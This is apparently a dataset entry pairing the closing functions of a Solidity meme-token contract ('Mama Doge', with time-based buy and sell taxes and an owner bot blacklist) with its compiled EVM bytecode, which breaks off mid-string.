function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600b81526020017f204d616d6120446f676520000000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600781526020017f204d444f47452000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820